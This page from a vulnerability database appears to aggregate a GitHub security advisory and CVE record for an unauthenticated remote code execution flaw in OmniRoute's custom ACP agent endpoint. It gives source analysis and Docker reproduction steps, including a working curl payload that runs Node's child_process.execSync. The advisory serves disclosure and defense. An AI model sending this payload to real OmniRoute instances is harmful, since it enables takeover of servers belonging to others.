Vulnerability-Lookup

GHSA-HF57-CQMX-P4GR

Vulnerability from github – Published: 2026-09-10 21:22 – Updated: 2026-09-10 21:22

Summary

OmniRoute ACP Custom-Agent Remote Code Execution (RCE)

Details

2. Summary

POST /api/acp/agents registers a custom ACP agent. The endpoint accepts user-controlled binary and versionCommand values. After saving the custom agent, the same request calls refreshAgentCache(), which triggers agent version detection. The version probe eventually runs:

execFileSync(probe.command, probe.args, ...)

The only validation is resolveVersionProbe(binary, versionCommand, true), which checks that the first token of versionCommand matches the request-provided binary. Because binary is also attacker-controlled, an attacker can submit:

{
  "binary": "node",
  "versionCommand": "node -e \"...arbitrary JavaScript...\""
}

This executes arbitrary Node.js code inside the server container, and that code can execute OS commands via child_process.execSync().

When requireLogin=false, isAuthenticated() treats anonymous requests as authenticated. At the same time, /api/acp/ is not included in LOCAL_ONLY_API_PREFIXES or SPAWN_CAPABLE_PREFIXES, so the endpoint is not blocked by the LOCAL_ONLY policy before reaching the anonymous allow branch. As a result, a remote anonymous attacker can execute commands inside the OmniRoute container with a single HTTP request.

3. Preconditions

The unauthenticated exploit is reachable in either of the following scenarios:

The target instance has requireLogin=false. This is the primary scenario covered by this report and by the reproduction steps below.
A fresh instance has no management password configured yet. During this bootstrap window, /api/settings/require-login allows unauthenticated setup writes, so an attacker can first set requireLogin=false and then call the vulnerable endpoint.

If the instance is in the default requireLogin=true state and already has a management password, exploitation requires a valid management session or management-scoped API key. In that case, the bug is authenticated RCE rather than the unauthenticated scenario emphasized here.

4. Technical Analysis

4.1 The Endpoint Accepts User-Controlled Command Fields

src/app/api/acp/agents/route.ts:15-24 defines a request schema that accepts binary, versionCommand, and spawnArgs:

const customAgentBodySchema = z.object({
  action: z.string().optional(),
  id: z.string().optional(),
  name: z.string().optional(),
  binary: z.string().optional(),
  versionCommand: z.string().optional(),
  providerAlias: z.string().optional(),
  spawnArgs: z.array(z.string()).optional(),
  protocol: z.enum(["stdio", "http"]).optional(),
});

The POST handler at src/app/api/acp/agents/route.ts:58-61 only calls isAuthenticated():

export async function POST(request: Request) {
  if (!(await isAuthenticated(request))) {
    return NextResponse.json({ error: "Unauthorized" }, { status: 401 });
  }

The handler then stores binary and versionCommand in the custom agent definition without an executable allowlist:

const newAgent: CustomAgentDef = {
  id: id.toLowerCase().replace(/[^a-z0-9-]/g, "-"),
  name,
  binary,
  versionCommand,
  providerAlias: providerAlias || id,
  spawnArgs: spawnArgs || [],
  protocol: protocol || "stdio",
};

This logic is in src/app/api/acp/agents/route.ts:92-100.

4.2 The Only Guard Is a Self-Consistency Check

The only command validation in the route is at src/app/api/acp/agents/route.ts:102-107:

if (!resolveVersionProbe(newAgent.binary, newAgent.versionCommand, true)) {
  return NextResponse.json(
    { error: "Invalid versionCommand: use the configured binary with plain arguments only" },
    { status: 400 }
  );
}

The core logic of resolveVersionProbe() is in src/lib/acp/registry.ts:261-288:

export function resolveVersionProbe(
  binary: string,
  versionCommand: string,
  requireBinaryMatch = false
): { command: string; args: string[] } | null {
  const tokens = tokenizeVersionCommand(versionCommand);
  if (!tokens) {
    return null;
  }

  const [command, ...args] = tokens;
  if (!command) {
    return null;
  }

  if (requireBinaryMatch) {
    const normalizedCommand = normalizeCommandToken(command);
    const allowed = new Set([
      normalizeCommandToken(binary),
      normalizeCommandToken(path.basename(binary)),
    ]);
    if (!allowed.has(normalizedCommand)) {
      return null;
    }
  }

  return { command, args };
}

This check only requires the first token of versionCommand to equal binary or path.basename(binary). Since binary is also attacker-controlled, binary="node" and versionCommand="node -e \"...\"" pass validation.

tokenizeVersionCommand() only blocks a small set of shell metacharacters (src/lib/acp/registry.ts:183-254):

const DISALLOWED_VERSION_COMMAND_CHARS = /[;&|<>`$\r\n]/;

This does not prevent node -e code execution, because characters needed for the payload, such as (, ), ', ., /, ,, and spaces, are allowed.

4.3 The Same Request Immediately Triggers Command Execution

After saving the custom agent, the route calls refreshAgentCache() at src/app/api/acp/agents/route.ts:121-127:

const updated = [...current, newAgent];
await updateSettings({ customAgents: updated });
setCustomAgents(updated);

const agents = refreshAgentCache();
return NextResponse.json({ agents, added: newAgent });

refreshAgentCache() is defined at src/lib/acp/registry.ts:366-369:

export function refreshAgentCache(): CliAgentInfo[] {
  _cachedAgents = null;
  return detectInstalledAgents();
}

detectInstalledAgents() merges built-in and custom agents and calls detectAgent() for each one (src/lib/acp/registry.ts:342-360):

const allDefs = [
  ...AGENT_DEFINITIONS.map((d) => ({ ...d, _custom: false })),
  ..._customAgentDefs.map((d) => ({ ...d, _custom: true })),
];

_cachedAgents = allDefs.map((def) => {
  const { _custom, ...rest } = def;
  return detectAgent(rest, _custom);
});

The command execution sink is at src/lib/acp/registry.ts:307-325:

const probe = resolveVersionProbe(def.binary, def.versionCommand, isCustom);
if (!probe) {
  return { ...def, version, installed, isCustom };
}

const output = execFileSync(probe.command, probe.args, {
  timeout: 5000,
  encoding: "utf-8",
  stdio: ["pipe", "pipe", "pipe"],
  ...(shouldUseShellForVersionProbe(probe.command) ? { shell: true } : {}),
}).trim();

On Linux containers, shouldUseShellForVersionProbe() returns false for non-Windows platforms (src/lib/acp/registry.ts:290-301):

export function shouldUseShellForVersionProbe(
  command: string,
  platform = process.platform
): boolean {
  if (platform !== "win32") return false;
  ...
}

Therefore the effective execution is execFileSync("node", ["-e", "..."]). No shell metacharacters are required.

4.4 Why This Is Unauthenticated

isAuthenticated() is defined at src/shared/utils/apiAuth.ts:285-302:

export async function isAuthenticated(request: Request): Promise<boolean> {
  if (!(await isAuthRequired(request))) {
    return true;
  }
  ...
}

isAuthRequired() returns false when requireLogin=false (src/shared/utils/apiAuth.ts:317-323):

const settings = await getSettings();
if (settings.requireLogin === false) return false;

The centralized management policy also has the same anonymous allow branch at src/server/authz/policies/management.ts:223-226:

if (!isAlwaysProtectedPath(path) && !(await isAuthRequired(ctx.request))) {
  return allow({ kind: "anonymous", id: "anonymous", label: "auth-disabled" });
}

Routes that can start local subprocesses should be blocked by the LOCAL_ONLY policy first. src/server/authz/routeGuard.ts:29-45 lists LOCAL_ONLY prefixes such as /api/mcp/, /api/cli-tools/runtime/, /api/services/, /api/tools/agent-bridge/, and /api/plugins/, but it does not include /api/acp/:

export const LOCAL_ONLY_API_PREFIXES: ReadonlyArray<string> = [
  "/api/mcp/",
  "/api/cli-tools/runtime/",
  "/api/services/",
  "/dashboard/providers/services/",
  "/api/copilot/",
  "/api/tools/agent-bridge/",
  "/api/tools/traffic-inspector/",
  "/api/plugins/",
  "/api/plugins",
  "/api/system/version",
  "/api/db-backups/exportAll",
  "/api/local/",
  "/api/headroom/start",
  "/api/headroom/stop",
  "/api/oauth/cursor/auto-import",
];

SPAWN_CAPABLE_PREFIXES also omits /api/acp/ (src/shared/constants/spawnCapablePrefixes.ts:26-35).

This means /api/acp/agents reaches the anonymous allow branch when requireLogin=false instead of being rejected by the LOCAL_ONLY gate.

5. Reproduction Environment

The issue can be reproduced in a local Docker environment:

OmniRoute image: diegosouzapw/omniroute:latest
Exposed port: 20128
Container data directory: /app/data
PoC behavior: runs only read-only commands (id and uname -a) and writes their output to /app/data/UNAUTH_RCE_PROOF.txt

6. Reproduction Steps

6.1 Start a Test Instance

JWT=$(openssl rand -base64 48)
AKS=$(openssl rand -hex 32)

docker network create omniroute-poc-net
docker run -d --name omniroute-poc-redis --network omniroute-poc-net redis:7-alpine
docker run -d --name omniroute-poc --network omniroute-poc-net \
  -p 20128:20128 -p 20129:20129 \
  -e JWT_SECRET="$JWT" \
  -e API_KEY_SECRET="$AKS" \
  -e REDIS_URL="redis://omniroute-poc-redis:6379" \
  diegosouzapw/omniroute:latest

Wait for startup:

until curl -sf http://localhost:20128/api/health >/dev/null 2>&1 || \
      curl -sf http://localhost:20128/ >/dev/null 2>&1; do
  sleep 2
done

6.2 Put the Instance in the Login-Disabled State

This step models a self-hosted instance where dashboard login has been disabled:

curl -s -X POST "http://localhost:20128/api/settings/require-login" \
  -H "content-type: application/json" \
  -d '{"requireLogin":false}'

If the target is already in requireLogin=false, this step is not needed.

6.3 Trigger RCE Anonymously

The following request sends no cookie and no Bearer token:

curl -s -X POST "http://localhost:20128/api/acp/agents" \
  -H "content-type: application/json" \
  -d '{
    "id":"anonrce",
    "name":"anonrce",
    "binary":"node",
    "protocol":"stdio",
    "versionCommand":"node -e \"require('\''fs'\'').writeFileSync('\''/app/data/UNAUTH_RCE_PROOF.txt'\'',require('\''child_process'\'').execSync('\''id'\'').toString()+require('\''child_process'\'').execSync('\''uname -a'\'').toString())\""
  }'

6.4 Verify Command Execution

docker exec omniroute-poc cat /app/data/UNAUTH_RCE_PROOF.txt

Expected output is similar to:

uid=1000(node) gid=1000(node) groups=1000(node)
Linux <container-id> <kernel-version> ... <arch> GNU/Linux

This proves that the anonymous HTTP request executed id and uname -a inside the OmniRoute container.

Severity

9.5 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "omniroute"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.8.50"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-88062"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-10T21:22:12Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## 2. Summary\n\n`POST /api/acp/agents` registers a custom ACP agent. The endpoint accepts user-controlled\n`binary` and `versionCommand` values. After saving the custom agent, the same request calls\n`refreshAgentCache()`, which triggers agent version detection. The version probe eventually runs:\n\n```ts\nexecFileSync(probe.command, probe.args, ...)\n```\n\nThe only validation is `resolveVersionProbe(binary, versionCommand, true)`, which checks that the\nfirst token of `versionCommand` matches the request-provided `binary`. Because `binary` is also\nattacker-controlled, an attacker can submit:\n\n```json\n{\n  \"binary\": \"node\",\n  \"versionCommand\": \"node -e \\\"...arbitrary JavaScript...\\\"\"\n}\n```\n\nThis executes arbitrary Node.js code inside the server container, and that code can execute OS\ncommands via `child_process.execSync()`.\n\nWhen `requireLogin=false`, `isAuthenticated()` treats anonymous requests as authenticated. At the\nsame time, `/api/acp/` is not included in `LOCAL_ONLY_API_PREFIXES` or `SPAWN_CAPABLE_PREFIXES`, so\nthe endpoint is not blocked by the LOCAL_ONLY policy before reaching the anonymous allow branch.\nAs a result, a remote anonymous attacker can execute commands inside the OmniRoute container with a\nsingle HTTP request.\n\n## 3. Preconditions\n\nThe unauthenticated exploit is reachable in either of the following scenarios:\n\n1. The target instance has `requireLogin=false`. This is the primary scenario covered by this\n   report and by the reproduction steps below.\n2. A fresh instance has no management password configured yet. During this bootstrap window,\n   `/api/settings/require-login` allows unauthenticated setup writes, so an attacker can first set\n   `requireLogin=false` and then call the vulnerable endpoint.\n\nIf the instance is in the default `requireLogin=true` state and already has a management password,\nexploitation requires a valid management session or management-scoped API key. In that case, the\nbug is authenticated RCE rather than the unauthenticated scenario emphasized here.\n\n## 4. Technical Analysis\n\n### 4.1 The Endpoint Accepts User-Controlled Command Fields\n\n`src/app/api/acp/agents/route.ts:15-24` defines a request schema that accepts `binary`,\n`versionCommand`, and `spawnArgs`:\n\n```ts\nconst customAgentBodySchema = z.object({\n  action: z.string().optional(),\n  id: z.string().optional(),\n  name: z.string().optional(),\n  binary: z.string().optional(),\n  versionCommand: z.string().optional(),\n  providerAlias: z.string().optional(),\n  spawnArgs: z.array(z.string()).optional(),\n  protocol: z.enum([\"stdio\", \"http\"]).optional(),\n});\n```\n\nThe `POST` handler at `src/app/api/acp/agents/route.ts:58-61` only calls `isAuthenticated()`:\n\n```ts\nexport async function POST(request: Request) {\n  if (!(await isAuthenticated(request))) {\n    return NextResponse.json({ error: \"Unauthorized\" }, { status: 401 });\n  }\n```\n\nThe handler then stores `binary` and `versionCommand` in the custom agent definition without an\nexecutable allowlist:\n\n```ts\nconst newAgent: CustomAgentDef = {\n  id: id.toLowerCase().replace(/[^a-z0-9-]/g, \"-\"),\n  name,\n  binary,\n  versionCommand,\n  providerAlias: providerAlias || id,\n  spawnArgs: spawnArgs || [],\n  protocol: protocol || \"stdio\",\n};\n```\n\nThis logic is in `src/app/api/acp/agents/route.ts:92-100`.\n\n### 4.2 The Only Guard Is a Self-Consistency Check\n\nThe only command validation in the route is at `src/app/api/acp/agents/route.ts:102-107`:\n\n```ts\nif (!resolveVersionProbe(newAgent.binary, newAgent.versionCommand, true)) {\n  return NextResponse.json(\n    { error: \"Invalid versionCommand: use the configured binary with plain arguments only\" },\n    { status: 400 }\n  );\n}\n```\n\nThe core logic of `resolveVersionProbe()` is in `src/lib/acp/registry.ts:261-288`:\n\n```ts\nexport function resolveVersionProbe(\n  binary: string,\n  versionCommand: string,\n  requireBinaryMatch = false\n): { command: string; args: string[] } | null {\n  const tokens = tokenizeVersionCommand(versionCommand);\n  if (!tokens) {\n    return null;\n  }\n\n  const [command, ...args] = tokens;\n  if (!command) {\n    return null;\n  }\n\n  if (requireBinaryMatch) {\n    const normalizedCommand = normalizeCommandToken(command);\n    const allowed = new Set([\n      normalizeCommandToken(binary),\n      normalizeCommandToken(path.basename(binary)),\n    ]);\n    if (!allowed.has(normalizedCommand)) {\n      return null;\n    }\n  }\n\n  return { command, args };\n}\n```\n\nThis check only requires the first token of `versionCommand` to equal `binary` or\n`path.basename(binary)`. Since `binary` is also attacker-controlled, `binary=\"node\"` and\n`versionCommand=\"node -e \\\"...\\\"\"` pass validation.\n\n`tokenizeVersionCommand()` only blocks a small set of shell metacharacters\n(`src/lib/acp/registry.ts:183-254`):\n\n```ts\nconst DISALLOWED_VERSION_COMMAND_CHARS = /[;\u0026|\u003c\u003e`$\\r\\n]/;\n```\n\nThis does not prevent `node -e` code execution, because characters needed for the payload, such as\n`(`, `)`, `\u0027`, `.`, `/`, `,`, and spaces, are allowed.\n\n### 4.3 The Same Request Immediately Triggers Command Execution\n\nAfter saving the custom agent, the route calls `refreshAgentCache()` at\n`src/app/api/acp/agents/route.ts:121-127`:\n\n```ts\nconst updated = [...current, newAgent];\nawait updateSettings({ customAgents: updated });\nsetCustomAgents(updated);\n\nconst agents = refreshAgentCache();\nreturn NextResponse.json({ agents, added: newAgent });\n```\n\n`refreshAgentCache()` is defined at `src/lib/acp/registry.ts:366-369`:\n\n```ts\nexport function refreshAgentCache(): CliAgentInfo[] {\n  _cachedAgents = null;\n  return detectInstalledAgents();\n}\n```\n\n`detectInstalledAgents()` merges built-in and custom agents and calls `detectAgent()` for each one\n(`src/lib/acp/registry.ts:342-360`):\n\n```ts\nconst allDefs = [\n  ...AGENT_DEFINITIONS.map((d) =\u003e ({ ...d, _custom: false })),\n  ..._customAgentDefs.map((d) =\u003e ({ ...d, _custom: true })),\n];\n\n_cachedAgents = allDefs.map((def) =\u003e {\n  const { _custom, ...rest } = def;\n  return detectAgent(rest, _custom);\n});\n```\n\nThe command execution sink is at `src/lib/acp/registry.ts:307-325`:\n\n```ts\nconst probe = resolveVersionProbe(def.binary, def.versionCommand, isCustom);\nif (!probe) {\n  return { ...def, version, installed, isCustom };\n}\n\nconst output = execFileSync(probe.command, probe.args, {\n  timeout: 5000,\n  encoding: \"utf-8\",\n  stdio: [\"pipe\", \"pipe\", \"pipe\"],\n  ...(shouldUseShellForVersionProbe(probe.command) ? { shell: true } : {}),\n}).trim();\n```\n\nOn Linux containers, `shouldUseShellForVersionProbe()` returns `false` for non-Windows platforms\n(`src/lib/acp/registry.ts:290-301`):\n\n```ts\nexport function shouldUseShellForVersionProbe(\n  command: string,\n  platform = process.platform\n): boolean {\n  if (platform !== \"win32\") return false;\n  ...\n}\n```\n\nTherefore the effective execution is `execFileSync(\"node\", [\"-e\", \"...\"])`. No shell\nmetacharacters are required.\n\n### 4.4 Why This Is Unauthenticated\n\n`isAuthenticated()` is defined at `src/shared/utils/apiAuth.ts:285-302`:\n\n```ts\nexport async function isAuthenticated(request: Request): Promise\u003cboolean\u003e {\n  if (!(await isAuthRequired(request))) {\n    return true;\n  }\n  ...\n}\n```\n\n`isAuthRequired()` returns `false` when `requireLogin=false`\n(`src/shared/utils/apiAuth.ts:317-323`):\n\n```ts\nconst settings = await getSettings();\nif (settings.requireLogin === false) return false;\n```\n\nThe centralized management policy also has the same anonymous allow branch at\n`src/server/authz/policies/management.ts:223-226`:\n\n```ts\nif (!isAlwaysProtectedPath(path) \u0026\u0026 !(await isAuthRequired(ctx.request))) {\n  return allow({ kind: \"anonymous\", id: \"anonymous\", label: \"auth-disabled\" });\n}\n```\n\nRoutes that can start local subprocesses should be blocked by the LOCAL_ONLY policy first.\n`src/server/authz/routeGuard.ts:29-45` lists LOCAL_ONLY prefixes such as `/api/mcp/`,\n`/api/cli-tools/runtime/`, `/api/services/`, `/api/tools/agent-bridge/`, and `/api/plugins/`, but\nit does not include `/api/acp/`:\n\n```ts\nexport const LOCAL_ONLY_API_PREFIXES: ReadonlyArray\u003cstring\u003e = [\n  \"/api/mcp/\",\n  \"/api/cli-tools/runtime/\",\n  \"/api/services/\",\n  \"/dashboard/providers/services/\",\n  \"/api/copilot/\",\n  \"/api/tools/agent-bridge/\",\n  \"/api/tools/traffic-inspector/\",\n  \"/api/plugins/\",\n  \"/api/plugins\",\n  \"/api/system/version\",\n  \"/api/db-backups/exportAll\",\n  \"/api/local/\",\n  \"/api/headroom/start\",\n  \"/api/headroom/stop\",\n  \"/api/oauth/cursor/auto-import\",\n];\n```\n\n`SPAWN_CAPABLE_PREFIXES` also omits `/api/acp/`\n(`src/shared/constants/spawnCapablePrefixes.ts:26-35`).\n\nThis means `/api/acp/agents` reaches the anonymous allow branch when `requireLogin=false` instead\nof being rejected by the LOCAL_ONLY gate.\n\n## 5. Reproduction Environment\n\nThe issue can be reproduced in a local Docker environment:\n\n- OmniRoute image: `diegosouzapw/omniroute:latest`\n- Exposed port: `20128`\n- Container data directory: `/app/data`\n- PoC behavior: runs only read-only commands (`id` and `uname -a`) and writes their output to\n  `/app/data/UNAUTH_RCE_PROOF.txt`\n\n## 6. Reproduction Steps\n\n### 6.1 Start a Test Instance\n\n```bash\nJWT=$(openssl rand -base64 48)\nAKS=$(openssl rand -hex 32)\n\ndocker network create omniroute-poc-net\ndocker run -d --name omniroute-poc-redis --network omniroute-poc-net redis:7-alpine\ndocker run -d --name omniroute-poc --network omniroute-poc-net \\\n  -p 20128:20128 -p 20129:20129 \\\n  -e JWT_SECRET=\"$JWT\" \\\n  -e API_KEY_SECRET=\"$AKS\" \\\n  -e REDIS_URL=\"redis://omniroute-poc-redis:6379\" \\\n  diegosouzapw/omniroute:latest\n```\n\nWait for startup:\n\n```bash\nuntil curl -sf http://localhost:20128/api/health \u003e/dev/null 2\u003e\u00261 || \\\n      curl -sf http://localhost:20128/ \u003e/dev/null 2\u003e\u00261; do\n  sleep 2\ndone\n```\n\n### 6.2 Put the Instance in the Login-Disabled State\n\nThis step models a self-hosted instance where dashboard login has been disabled:\n\n```bash\ncurl -s -X POST \"http://localhost:20128/api/settings/require-login\" \\\n  -H \"content-type: application/json\" \\\n  -d \u0027{\"requireLogin\":false}\u0027\n```\n\nIf the target is already in `requireLogin=false`, this step is not needed.\n\n### 6.3 Trigger RCE Anonymously\n\nThe following request sends no cookie and no Bearer token:\n\n```bash\ncurl -s -X POST \"http://localhost:20128/api/acp/agents\" \\\n  -H \"content-type: application/json\" \\\n  -d \u0027{\n    \"id\":\"anonrce\",\n    \"name\":\"anonrce\",\n    \"binary\":\"node\",\n    \"protocol\":\"stdio\",\n    \"versionCommand\":\"node -e \\\"require(\u0027\\\u0027\u0027fs\u0027\\\u0027\u0027).writeFileSync(\u0027\\\u0027\u0027/app/data/UNAUTH_RCE_PROOF.txt\u0027\\\u0027\u0027,require(\u0027\\\u0027\u0027child_process\u0027\\\u0027\u0027).execSync(\u0027\\\u0027\u0027id\u0027\\\u0027\u0027).toString()+require(\u0027\\\u0027\u0027child_process\u0027\\\u0027\u0027).execSync(\u0027\\\u0027\u0027uname -a\u0027\\\u0027\u0027).toString())\\\"\"\n  }\u0027\n```\n\n### 6.4 Verify Command Execution\n\n```bash\ndocker exec omniroute-poc cat /app/data/UNAUTH_RCE_PROOF.txt\n```\n\nExpected output is similar to:\n\n```text\nuid=1000(node) gid=1000(node) groups=1000(node)\nLinux \u003ccontainer-id\u003e \u003ckernel-version\u003e ... \u003carch\u003e GNU/Linux\n```\n\nThis proves that the anonymous HTTP request executed `id` and `uname -a` inside the OmniRoute\ncontainer.\n\n\u003cimg width=\"2123\" height=\"1195\" alt=\"image\" src=\"https://github.com/user-attachments/assets/935ae9c2-3d75-45ec-9a90-f325bbd17e4f\" /\u003e",
  "id": "GHSA-hf57-cqmx-p4gr",
  "modified": "2026-09-10T21:22:12Z",
  "published": "2026-09-10T21:22:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/diegosouzapw/OmniRoute/security/advisories/GHSA-hf57-cqmx-p4gr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/diegosouzapw/OmniRoute/pull/11028"
    },
    {
      "type": "WEB",
      "url": "https://github.com/diegosouzapw/OmniRoute/commit/60829241fd64d0317aa6a0dd8cd7a445a5287fed"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/diegosouzapw/OmniRoute"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": " OmniRoute ACP Custom-Agent Remote Code Execution (RCE)"
}

CVE-2026-88062 (GCVE-0-2026-88062)

Vulnerability from cvelistv5 – Published: 2026-09-10 19:14 – Updated: 2026-09-11 20:32

Title

OmniRoute ACP Custom-Agent Remote Code Execution (RCE)

Summary

OmniRoute is an open-source AI gateway providing a single endpoint for multiple model providers. In 3.8.49 and earlier, the OmniRoute POST /api/acp/agents custom ACP agent endpoint accepted attacker-controlled binary and versionCommand values and used only a self-consistency check before execFileSync executed the selected interpreter and arguments. The same request called refreshAgentCache, and resolveVersionProbe accepted the matched command before the execFileSync sink ran it. The tokenizeVersionCommand function and DISALLOWED_VERSION_COMMAND_CHARS filter rejected a limited set of shell metacharacters but still allowed interpreter evaluation arguments. The isAuthenticated function relied on isAuthRequired, which accepted anonymous requests when requireLogin was false, while api/acp/ was absent from LOCAL_ONLY_API_PREFIXES and SPAWN_CAPABLE_PREFIXES. With requireLogin=false or during a fresh-instance bootstrap window, a remote anonymous request could supply an interpreter evaluation argument and execute arbitrary code in the server container. With requireLogin=true and a configured management password, exploitation instead required a management session or management-scoped API key. No fixed version is available as of this review.

Severity

9.5 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-11 16:48 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')
CWE-306 - Missing Authentication for Critical Function

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/diegosouzapw/OmniRoute/securit…	x_refsource_CONFIRM
https://github.com/diegosouzapw/OmniRoute/pull/11028	x_refsource_MISC
https://github.com/diegosouzapw/OmniRoute/commit/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
diegosouzapw	OmniRoute	Affected: < 3.8.49

Show details on NVD website

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{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-88062",
                "options": [
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                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-11T16:48:30.288478Z",
                "version": "2.0.3"
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          "lang": "en",
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        }
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Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-HF57-CQMX-P4GR

2. Summary

3. Preconditions

4. Technical Analysis

4.1 The Endpoint Accepts User-Controlled Command Fields

4.2 The Only Guard Is a Self-Consistency Check

4.3 The Same Request Immediately Triggers Command Execution

4.4 Why This Is Unauthenticated

5. Reproduction Environment

6. Reproduction Steps

6.1 Start a Test Instance

6.2 Put the Instance in the Login-Disabled State

6.3 Trigger RCE Anonymously

6.4 Verify Command Execution

CVE-2026-88062 (GCVE-0-2026-88062)

Tags

Sightings

Nomenclature

Related by attack behaviour